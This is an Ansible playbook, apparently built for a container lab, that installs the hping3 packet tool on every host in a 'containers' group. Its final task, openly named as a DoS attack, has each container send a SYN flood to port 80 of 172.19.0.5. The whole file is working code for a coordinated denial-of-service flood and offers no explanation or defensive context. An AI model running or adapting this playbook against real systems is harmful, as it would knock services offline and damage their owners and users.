--- - name: install and run hping3 to hosts hosts: containers remote_user: docker become: yes tasks: - name: apt-get update apt: update_cache: yes - name: install hping3 apt: name: hping3 state: latest - name: run dos attack from each container command: hping3 -V -c 20000 -d 120 -S -p 80 --flood 172.19.0.5